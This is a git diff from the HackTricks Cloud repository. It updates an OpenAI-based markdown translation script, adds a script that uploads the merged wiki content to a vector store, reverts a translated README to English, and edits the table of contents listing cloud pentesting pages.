refs_per_path = {} # { "relative/path.md": [ref1, ref2, ...] }
for md_path in sorted(SRC_DIR.rglob("*.md")):
rel = md_path.relative_to(SRC_DIR).as_posix()
try:
content = md_path.read_text(encoding="utf-8")
except UnicodeDecodeError:
# Fallback if encoding is odd
content = md_path.read_text(errors="replace")
refs = extract_refs(content)
refs_per_path[rel] = refs # keep order from findall
REFS_JSON.write_text(json.dumps(refs_per_path, indent=2, ensure_ascii=False) + "\n", encoding="utf-8")
print(f"Wrote {REFS_JSON} with {len(refs_per_path)} files.")
if __name__ == "__main__":
main()

View File

@@ -12,15 +12,25 @@ from tqdm import tqdm #pip3 install tqdm
import traceback
MASTER_BRANCH = "master"
VERBOSE = True
MAX_TOKENS = 10000 #gpt-4-1106-preview
MAX_TOKENS = 50000 #gpt-4-1106-preview
DISALLOWED_SPECIAL = "<|endoftext|>"
REPLACEMENT_TOKEN = "<END_OF_TEXT>"
def _sanitize(text: str) -> str:
"""
Replace the reserved tiktoken token with a harmless placeholder.
Called everywhere a string can flow into tiktoken.encode() or the
OpenAI client.
"""
return text.replace(DISALLOWED_SPECIAL, REPLACEMENT_TOKEN)
def reportTokens(prompt, model):
encoding = tiktoken.encoding_for_model(model)
# print number of tokens in light gray, with first 50 characters of prompt in green. if truncated, show that it is truncated
#print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
prompt = _sanitize(prompt)
return len(encoding.encode(prompt))
@@ -36,35 +46,37 @@ def get_branch_files(branch):
files = result.stdout.decode().splitlines()
return set(files)
def delete_unique_files(branch):
def get_unused_files(branch):
"""Delete files that are unique to branch2."""
# Get the files in each branch
files_branch1 = get_branch_files(MASTER_BRANCH)
files_branch2 = get_branch_files(branch)
files_branch_master = get_branch_files(MASTER_BRANCH)
files_branch_lang = get_branch_files(branch)
# Find the files that are in branch2 but not in branch1
unique_files = files_branch2 - files_branch1
unique_files = files_branch_lang - files_branch_master
if unique_files:
# Switch to the second branch
subprocess.run(["git", "checkout", branch])
# Delete the unique files from the second branch
for file in unique_files:
subprocess.run(["git", "rm", file])
subprocess.run(["git", "checkout", MASTER_BRANCH])
print(f"[+] Deleted {len(unique_files)} files from branch: {branch}")
return unique_files
def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translate_files):
"""
Get the translated files from the temp folder and copy them to the repo directory in the expected branch.
Also remove all the files that are not in the master branch.
"""
branch_exists = subprocess.run(['git', 'show-ref', '--verify', '--quiet', 'refs/heads/' + branch])
# If branch doesn't exist, create it
if branch_exists.returncode != 0:
subprocess.run(['git', 'checkout', '-b', branch])
else:
subprocess.run(['git', 'checkout', branch])
# Get files to delete
files_to_delete = get_unused_files(branch)
# Delete files
for file in files_to_delete:
os.remove(file)
print(f"[+] Deleted {file}")
# Walk through source directory
for dirpath, dirnames, filenames in os.walk(temp_folder):
@@ -79,32 +91,72 @@ def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translat
for file_name in filenames:
src_file = os.path.join(dirpath, file_name)
shutil.copy2(src_file, dest_path)
print(f"Translated files copied to branch: {branch}")
if not "/images/" in src_file and not "/theme/" in src_file:
print(f"[+] Copied from {src_file} to {file_name}")
if translate_files:
subprocess.run(['git', 'add', "-A"])
subprocess.run(['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]])
subprocess.run(['git', 'checkout', MASTER_BRANCH])
print("Commit created and moved to master branch")
commit_and_push(translate_files, branch)
else:
print("No commiting anything, leaving in language branch")
def commit_and_push(translate_files, branch):
# Define the commands we want to run
commands = [
['git', 'add', '-A'],
['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]],
['git', 'push', '--set-upstream', 'origin', branch],
]
for cmd in commands:
result = subprocess.run(cmd, capture_output=True, text=True)
# Print stdout and stderr (if any)
if result.stdout:
print(f"STDOUT for {cmd}:\n{result.stdout}")
if "nothing to commit" in result.stdout.lower():
print("Nothing to commit, leaving")
exit(0)
if result.stderr:
print(f"STDERR for {cmd}:\n{result.stderr}")
# Check for errors
if result.returncode != 0:
raise RuntimeError(
f"Command `{cmd}` failed with exit code {result.returncode}"
)
print("Commit created and pushed")
def translate_text(language, text, file_path, model, cont=0, slpitted=False, client=None):
if not text:
return text
messages = [
{"role": "system", "content": "You are a professional hacker, translator and writer. You write everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output."},
{"role": "system", "content": f"The following is content from a hacking book about hacking techiques. The following content is from the file {file_path}. Translate the relevant English text to {language} and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax."},
{"role": "system", "content": "You are a professional hacker, translator and writer. You translate everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output and do not translate markdown or html tags or links."},
{"role": "system", "content": f"""The following is content from a hacking book about technical hacking techiques. The following given content is from the file {file_path}.
Translate the relevant English text to {language} and return the translation keeping exactly the same markdown and html syntax and following this guidance:
- Don't translate things like code, hacking technique names, common hacking words, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, links and markdown tags.
- Don't translate links or paths, e.g. if a link or ref is to "lamda-post-exploitation.md" don't translate that path to the language.
- Don't translate or modify tags, links, refs and paths like in:
- {{#tabs}}
- {{#tab name="Method1"}}
- {{#ref}}\ngeneric-methodologies-and-resources/pentesting-methodology.md\n{{#endref}}
- {{#include ./banners/hacktricks-training.md}}
- {{#ref}}macos-tcc-bypasses/{{#endref}}
- {{#ref}}0.-basic-llm-concepts.md{{#endref}}
- Don't translate any other tag, just return markdown and html content as is.
Also don't add any extra stuff in your response that is not part of the translation and markdown syntax."""},
{"role": "user", "content": text},
]
try:
response = client.chat.completions.create(
model=model,
messages=messages,
temperature=0
temperature=1 # 1 because gpt-5 doesn't support other
)
except Exception as e:
print("Python Exception: " + str(e))
@@ -149,6 +201,9 @@ def translate_text(language, text, file_path, model, cont=0, slpitted=False, cli
return translate_text(language, text, file_path, model, cont, False, client)
response_message = response.choices[0].message.content.strip()
response_message = response_message.replace("bypassy", "bypasses") # PL translations translates that from time to time
response_message = response_message.replace("Bypassy", "Bypasses")
response_message = response_message.replace("-privec.md", "-privesc.md") # PL translations translates that from time to time
# Sometimes chatgpt modified the number of "#" at the beginning of the text, so we need to fix that. This is specially important for the first line of the MD that mucst have only 1 "#"
cont2 = 0
@@ -170,9 +225,11 @@ def split_text(text, model):
chunks = []
chunk = ''
in_code_block = False
in_ref = False
for line in lines:
# If we are in a code block, just add the code to the chunk
# Keep code blocks as one chunk
if line.startswith('```'):
# If we are in a code block, finish it with the "```"
@@ -188,8 +245,24 @@ def split_text(text, model):
chunk += line + '\n'
continue
"""
Prevent refs using `` like:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
{{#endref}}
"""
if line.startswith('{{#ref}}'):
in_ref = True
if in_ref:
line = line.replace("`", "")
if line.startswith('{{#endref}}'):
in_ref = False
# If new section, see if we should be splitting the text
if (line.startswith('#') and reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS*0.8) or \
reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS:
@@ -202,23 +275,30 @@ def split_text(text, model):
return chunks
def copy_gitbook_dir(source_path, dest_path):
folder_name = ".gitbook/"
source_folder = os.path.join(source_path, folder_name)
destination_folder = os.path.join(dest_path, folder_name)
if not os.path.exists(source_folder):
print(f"Error: {source_folder} does not exist.")
else:
# Copy the .gitbook folder
shutil.copytree(source_folder, destination_folder)
print(f"Copied .gitbook folder from {source_folder} to {destination_folder}")
def copy_dirs(source_path, dest_path, folder_names):
for folder_name in folder_names:
source_folder = os.path.join(source_path, folder_name)
destination_folder = os.path.join(dest_path, folder_name)
if not os.path.exists(source_folder):
print(f"Error: {source_folder} does not exist.")
else:
# Copy the theme folder
shutil.copytree(source_folder, destination_folder)
print(f"Copied {folder_name} folder from {source_folder} to {destination_folder}")
def copy_summary(source_path, dest_path):
file_name = "src/SUMMARY.md"
source_filepath = os.path.join(source_path, file_name)
dest_filepath = os.path.join(dest_path, file_name)
shutil.copy2(source_filepath, dest_filepath)
print("[+] Copied SUMMARY.md")
def move_files_to_push(source_path, dest_path, relative_file_paths):
for file_path in relative_file_paths:
source_filepath = os.path.join(source_path, file_path)
dest_filepath = os.path.join(dest_path, file_path)
if not os.path.exists(source_filepath):
print(f"Error: {source_filepath} does not exist.")
else:
shutil.copy2(source_filepath, dest_filepath)
print(f"[+] Copied {file_path}")
def copy_files(source_path, dest_path):
file_names = ["src/SUMMARY.md", "hacktricks-preprocessor.py", "book.toml", ".gitignore", "src/robots.txt"]
move_files_to_push(source_path, dest_path, file_names)
def translate_file(language, file_path, file_dest_path, model, client):
global VERBOSE
@@ -234,7 +314,7 @@ def translate_file(language, file_path, file_dest_path, model, client):
translated_content = ''
start_time = time.time()
for chunk in content_chunks:
# Don't trasnlate code blocks
# Don't translate code blocks
if chunk.startswith('```'):
translated_content += chunk + '\n'
else:
@@ -248,9 +328,10 @@ def translate_file(language, file_path, file_dest_path, model, client):
f.write(translated_content)
#if VERBOSE:
print(f"Page {file_path} translated in {elapsed_time:.2f} seconds")
print(f"Page {file_path} translated in {file_dest_path} in {elapsed_time:.2f} seconds")
"""
def translate_directory(language, source_path, dest_path, model, num_threads, client):
all_markdown_files = []
for subdir, dirs, files in os.walk(source_path):
@@ -280,17 +361,17 @@ def translate_directory(language, source_path, dest_path, model, num_threads, cl
tb = traceback.format_exc()
print(f'Translation generated an exception: {exc}')
print("Traceback:", tb)
"""
if __name__ == "__main__":
print("- Version 1.1.1")
print("- Version 2.0.0")
# Set up argparse
parser = argparse.ArgumentParser(description='Translate gitbook and copy to a new branch.')
parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
#parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
parser.add_argument('-l', '--language', required=True, help='Target language for translation.')
parser.add_argument('-b', '--branch', required=True, help='Branch name to copy translated files.')
parser.add_argument('-k', '--api-key', required=True, help='API key to use.')
parser.add_argument('-m', '--model', default="gpt-4o-mini", help='The openai model to use. By default: gpt-4o-mini')
parser.add_argument('-m', '--model', default="gpt-5-mini", help='The openai model to use. By default: gpt-5-mini')
parser.add_argument('-o', '--org-id', help='The org ID to use (if not set the default one will be used).')
parser.add_argument('-f', '--file-paths', help='If this is set, only the indicated files will be translated (" , " separated).')
parser.add_argument('-n', '--dont-cd', action='store_false', help="If this is true, the script won't change the current directory.")
@@ -345,7 +426,7 @@ if __name__ == "__main__":
translate_files = None # Need to initialize it here to avoid error
if args.file_paths:
# Translate only the indicated file
translate_files = [f for f in args.file_paths.split(' , ') if f]
translate_files = list(set([f.strip() for f in args.file_paths.split(',') if f]))
for file_path in translate_files:
#with tqdm(total=len(all_markdown_files), desc="Translating Files") as pbar:
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
@@ -359,23 +440,21 @@ if __name__ == "__main__":
#pbar.update()
except Exception as exc:
print(f'Translation generated an exception: {exc}')
# Delete possibly removed files from the master branch
delete_unique_files(branch)
elif args.directory:
#elif args.directory:
# Translate everything
translate_directory(language, source_folder, dest_folder, model, num_threads, client)
#translate_directory(language, source_folder, dest_folder, model, num_threads, client)
else:
print("You need to indicate either a directory or a list of files to translate.")
exit(1)
exit(0)
# Copy summary
copy_summary(source_folder, dest_folder)
# Copy Summary
copy_files(source_folder, dest_folder)
# Copy .gitbook folder
copy_gitbook_dir(source_folder, dest_folder)
folder_names = ["theme/", "src/images/"]
copy_dirs(source_folder, dest_folder, folder_names)
# Create the branch and copy the translated files
cp_translation_to_repo_dir_and_check_gh_branch(branch, dest_folder, translate_files)

297
scripts/upload_ht_to_ai.py Normal file
View File

@@ -0,0 +1,297 @@
import os
import requests
import zipfile
import tempfile
import time
import glob
import re
from openai import OpenAI
# Initialize OpenAI client
client = OpenAI(api_key=os.getenv("MY_OPENAI_API_KEY"))
# Vector Store ID
VECTOR_STORE_ID = "vs_67e9f92e8cc88191911be54f81492fb8"
# --------------------------------------------------
# Step 1: Download and Extract Markdown Files
# --------------------------------------------------
def download_zip(url, save_path):
print(f"Downloading zip from: {url}")
response = requests.get(url)
response.raise_for_status() # Ensure the download succeeded
with open(save_path, "wb") as f:
f.write(response.content)
print(f"Downloaded zip from: {url}")
def extract_markdown_files(zip_path, extract_dir):
print(f"Extracting zip: {zip_path} to {extract_dir}")
with zipfile.ZipFile(zip_path, "r") as zip_ref:
zip_ref.extractall(extract_dir)
# Recursively find all .md files
md_files = glob.glob(os.path.join(extract_dir, "**", "*.md"), recursive=True)
return md_files
# Repository URLs
hacktricks_url = "https://github.com/HackTricks-wiki/hacktricks/archive/refs/heads/master.zip"
hacktricks_cloud_url = "https://github.com/HackTricks-wiki/hacktricks-cloud/archive/refs/heads/main.zip"
# Temporary directory for downloads and extraction
temp_dir = tempfile.mkdtemp()
try:
# Download zip archives
print("Downloading Hacktricks repositories...")
hacktricks_zip = os.path.join(temp_dir, "hacktricks.zip")
hacktricks_cloud_zip = os.path.join(temp_dir, "hacktricks_cloud.zip")
download_zip(hacktricks_url, hacktricks_zip)
download_zip(hacktricks_cloud_url, hacktricks_cloud_zip)
# Extract the markdown files
hacktricks_extract_dir = os.path.join(temp_dir, "hacktricks")
hacktricks_cloud_extract_dir = os.path.join(temp_dir, "hacktricks_cloud")
md_files_hacktricks = extract_markdown_files(hacktricks_zip, hacktricks_extract_dir)
md_files_hacktricks_cloud = extract_markdown_files(hacktricks_cloud_zip, hacktricks_cloud_extract_dir)
all_md_files = md_files_hacktricks + md_files_hacktricks_cloud
print(f"Found {len(all_md_files)} markdown files.")
finally:
# Optional cleanup of temporary files after processing
# shutil.rmtree(temp_dir)
pass
# --------------------------------------------------
# Step 2: Remove All Existing Files in the Vector Store
# --------------------------------------------------
# List current files in the vector store and delete each one.
existing_files = list(client.vector_stores.files.list(VECTOR_STORE_ID))
print(f"Found {len(existing_files)} files in the vector store. Removing them...")
for file_obj in existing_files:
# Delete the underlying file object; this removes it from the vector store.
try:
client.files.delete(file_id=file_obj.id)
print(f"Deleted file: {file_obj.id}")
time.sleep(1) # Give it a moment to ensure the deletion is processed
except Exception as e:
# Handle potential errors during deletion
print(f"Error deleting file {file_obj.id}: {e}")
# ----------------------------------------------------
# Step 3: Clean markdown Files
# ----------------------------------------------------
# Clean markdown files and marge them so it's easier to
# uplaod to the vector store.
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
def clean_file_content(file_path):
"""Clean the content of a single file and return the cleaned lines."""
with open(file_path, "r", encoding="utf-8") as f:
content = f.readlines()
cleaned_lines = []
inside_hint = False
for i,line in enumerate(content):
# Skip lines containing excluded keywords
if any(keyword in line for keyword in exclude_keywords):
continue
# Detect and skip {% hint %} ... {% endhint %} blocks
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
inside_hint = True
if "{% endhint %}" in line:
inside_hint = False
continue
if inside_hint:
continue
if line.startswith("#") and "reference" in line.lower(): #If references part reached, just stop reading the file
break
# Skip lines with <figure> ... </figure>
if re.match(r"<figure>.*?</figure>", line):
continue
# Add the line if it passed all checks
cleaned_lines.append(line.rstrip())
# Remove excess consecutive empty lines
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
return cleaned_lines
def remove_consecutive_empty_lines(lines):
"""Allow no more than one consecutive empty line."""
cleaned_lines = []
previous_line_empty = False
for line in lines:
if line.strip() == "":
if not previous_line_empty:
cleaned_lines.append("")
previous_line_empty = True
else:
cleaned_lines.append(line)
previous_line_empty = False
return cleaned_lines
def gather_files_in_order(start_folder):
"""Gather all .md files in a depth-first order."""
files = []
for root, _, filenames in os.walk(start_folder):
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md") and f.lower() not in ["summary.md", "references.md"]])
files.extend(md_files)
return files
# Gather files in depth-first order
all_files = gather_files_in_order(start_folder)
# Process files and merge into a single output
with open(output_file, "w", encoding="utf-8") as output:
for file_path in all_files:
# Clean the content of the file
cleaned_content = clean_file_content(file_path)
# Skip saving if the cleaned file has fewer than 10 non-empty lines
if len([line for line in cleaned_content if line.strip()]) < 10:
continue
# Get the name of the file for the header
file_name = os.path.basename(file_path)
# Write header, cleaned content, and 2 extra new lines
output.write(f"### Start file: {file_name} ###\n\n")
output.write("\n".join(cleaned_content))
output.write("\n\n")
# Specify the starting folder and output file
start_folder = os.getcwd()
# Keywords to exclude from lines
exclude_keywords = [
"hacktricks-training.md",
"![](<", # Skip lines with images
"/images/" # Skip lines with images
"STM Cyber", # STM Cyber ads
"offer several valuable cybersecurity services", # STM Cyber ads
"and hack the unhackable", # STM Cyber ads
"blog.stmcyber.com", # STM Cyber ads
"RootedCON", # RootedCON ads
"rootedcon.com", # RootedCON ads
"the mission of promoting technical knowledge", # RootedCON ads
"Intigriti", # Intigriti ads
"intigriti.com", # Intigriti ads
"Trickest", # Trickest ads
"trickest.com", # Trickest ads,
"Get Access Today:",
"HACKENPROOF", # Hackenproof ads
"hackenproof.com", # Hackenproof ads
"HackenProof", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Hacking Insights:", # Hackenproof ads
"Engage with content that delves", # Hackenproof ads
"Real-Time Hack News:", # Hackenproof ads
"Keep up-to-date with fast-paced", # Hackenproof ads
"Latest Announcements:", # Hackenproof ads
"Stay informed with the newest bug", # Hackenproof ads
"start collaborating with top hackers today!", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Pentest-Tools", # Pentest-Tools.com ads
"pentest-tools.com", # Pentest-Tools.com ads
"perspective on your web apps, network, and", # Pentest-Tools.com ads
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
"SerpApi", # SerpApi ads
"serpapi.com", # SerpApi ads
"offers fast and easy real-time", # SerpApi ads
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
"8kSec", # 8kSec ads
"academy.8ksec.io", # 8kSec ads
"Learn the technologies and skills required", # 8kSec ads
"WebSec", # WebSec ads
"websec.nl", # WebSec ads
"which means they do it all; Pentesting", # WebSec ads
]
# Clean and merge .md files
ht_file = os.path.join(tempfile.gettempdir(), "hacktricks.md")
htc_file = os.path.join(tempfile.gettempdir(), "hacktricks-cloud.md")
clean_and_merge_md_files(hacktricks_extract_dir, exclude_keywords, ht_file)
print(f"Merged content has been saved to: {ht_file}")
clean_and_merge_md_files(hacktricks_cloud_extract_dir, exclude_keywords, htc_file)
print(f"Merged content has been saved to: {htc_file}")
# ----------------------------------------------------
# Step 4: Upload All Markdown Files to the Vector Store
# ----------------------------------------------------
# Upload two files to the vector store.
# Uploading .md hacktricks files individually can be slow,
# so thats why we merged it before into just 2 files.
file_streams = []
ht_stream = open(ht_file, "rb")
file_streams.append(ht_stream)
htc_stream = open(htc_file, "rb")
file_streams.append(htc_stream)
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
time.sleep(60) # Sleep for a minute to ensure the upload is processed
ht_stream.close()
htc_stream.close()
""""This was to upload each .md independently, wich turned out to be a nightmare
# Ensure we don't exceed the maximum number of file streams
for file_path in all_md_files:
# Check if we have reached the maximum number of streams
if len(file_streams) >= 300:
print("Reached maximum number of file streams (300). Uploading current batch...")
# Upload the current batch before adding more files
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
print("Upload status:", file_batch.status)
print("File counts:", file_batch.file_counts)
# Clear the list for the next batch
file_streams = []
time.sleep(120) # Sleep for 2 minutes to avoid hitting API limits
try:
stream = open(file_path, "rb")
file_streams.append(stream)
except Exception as e:
print(f"Error opening {file_path}: {e}")
if file_streams:
# Upload files and poll for completion
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
print("Upload status:", file_batch.status)
print("File counts:", file_batch.file_counts)
else:
print("No markdown files to upload.")"
# Close all file streams
for stream in file_streams:
stream.close()
"""

1
searchindex.js Normal file

File diff suppressed because one or more lines are too long

View File

@@ -4,9 +4,10 @@
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
_Logotipe i animacije za Hacktricks dizajnirao_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
_Hacktricks logos & motion designed by_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Run HackTricks Cloud Locally
### Pokrenite HackTricks Cloud lokalno
```bash
# Download latest version of hacktricks cloud
git clone https://github.com/HackTricks-wiki/hacktricks-cloud
@@ -33,28 +34,30 @@ export LANG="master" # Leave master for English
# Run the docker container indicating the path to the hacktricks-cloud folder
docker run -d --rm --platform linux/amd64 -p 3377:3000 --name hacktricks_cloud -v $(pwd)/hacktricks-cloud:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
Vaša lokalna kopija HackTricks Cloud biće **dostupna na [http://localhost:3377](http://localhost:3377)** za minut.
### **Pentesting CI/CD Metodologija**
Your local copy of HackTricks Cloud will be **available at [http://localhost:3377](http://localhost:3377)** after a minute.
**U HackTricks CI/CD metodologiji naći ćete kako da pentestujete infrastrukturu povezanu sa CI/CD aktivnostima.** Pročitajte sledeću stranicu za **uvod:**
### **Pentesting CI/CD Methodology**
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Metodologija
### Pentesting Cloud Methodology
**U HackTricks Cloud metodologiji naći ćete kako da pentestujete cloud okruženja.** Pročitajte sledeću stranicu za **uvod:**
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### Licenca i odricanje odgovornosti
### License & Disclaimer
**Proverite ih u:**
**Check them in:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
### Github statistika
### Github Stats
![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
{{#include ./banners/hacktricks-training.md}}

View File

@@ -9,7 +9,6 @@
# 🏭 Pentesting CI/CD
- [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
- [Docker Build Context Abuse in Cloud Envs](pentesting-ci-cd/docker-build-context-abuse.md)
- [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
- [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
- [Github Security](pentesting-ci-cd/github-security/README.md)
@@ -42,7 +41,6 @@
- [Atlantis Security](pentesting-ci-cd/atlantis-security.md)
- [Cloudflare Security](pentesting-ci-cd/cloudflare-security/README.md)
- [Cloudflare Domains](pentesting-ci-cd/cloudflare-security/cloudflare-domains.md)
- [Cloudflare Workers Pass Through Proxy Ip Rotation](pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md)
- [Cloudflare Zero Trust Network](pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md)
- [Okta Security](pentesting-ci-cd/okta-security/README.md)
- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
@@ -57,7 +55,6 @@
# ⛈️ Pentesting Cloud
- [Pentesting Cloud Methodology](pentesting-cloud/pentesting-cloud-methodology.md)
- [Luks2 Header Malleability Null Cipher Abuse](pentesting-cloud/confidential-computing/luks2-header-malleability-null-cipher-abuse.md)
- [Kubernetes Pentesting](pentesting-cloud/kubernetes-security/README.md)
- [Kubernetes Basics](pentesting-cloud/kubernetes-security/kubernetes-basics.md)
- [Pentesting Kubernetes Services](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md)
@@ -87,7 +84,6 @@
- [GCP - Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/README.md)
- [GCP - App Engine Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md)
- [GCP - Artifact Registry Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md)
- [GCP - Bigtable Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md)
- [GCP - Cloud Build Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
- [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md)
- [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md)
@@ -102,6 +98,7 @@
- [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
- [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
- [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
- [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
- [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
- [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
- [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
@@ -110,7 +107,6 @@
- [GCP - Artifact Registry Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
- [GCP - Batch Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md)
- [GCP - BigQuery Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md)
- [GCP - Bigtable Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md)
- [GCP - ClientAuthConfig Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
- [GCP - Cloudbuild Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
@@ -125,7 +121,6 @@
- [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
- [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
- [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
- [GCP - Firebase Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md)
- [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
- [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
- [GCP - Resourcemanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md)
@@ -134,7 +129,6 @@
- [GCP - Serviceusage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md)
- [GCP - Sourcerepos Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
- [GCP - Storage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md)
- [GCP - Vertex AI Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md)
- [GCP - Workflows Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md)
- [GCP - Generic Permissions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md)
- [GCP - Network Docker Escape](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md)
@@ -144,7 +138,6 @@
- [GCP - App Engine Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md)
- [GCP - Artifact Registry Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md)
- [GCP - BigQuery Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md)
- [GCP - Bigtable Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md)
- [GCP - Cloud Functions Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md)
- [GCP - Cloud Run Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md)
- [GCP - Cloud Shell Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md)
@@ -192,7 +185,6 @@
- [GCP - Spanner Enum](pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md)
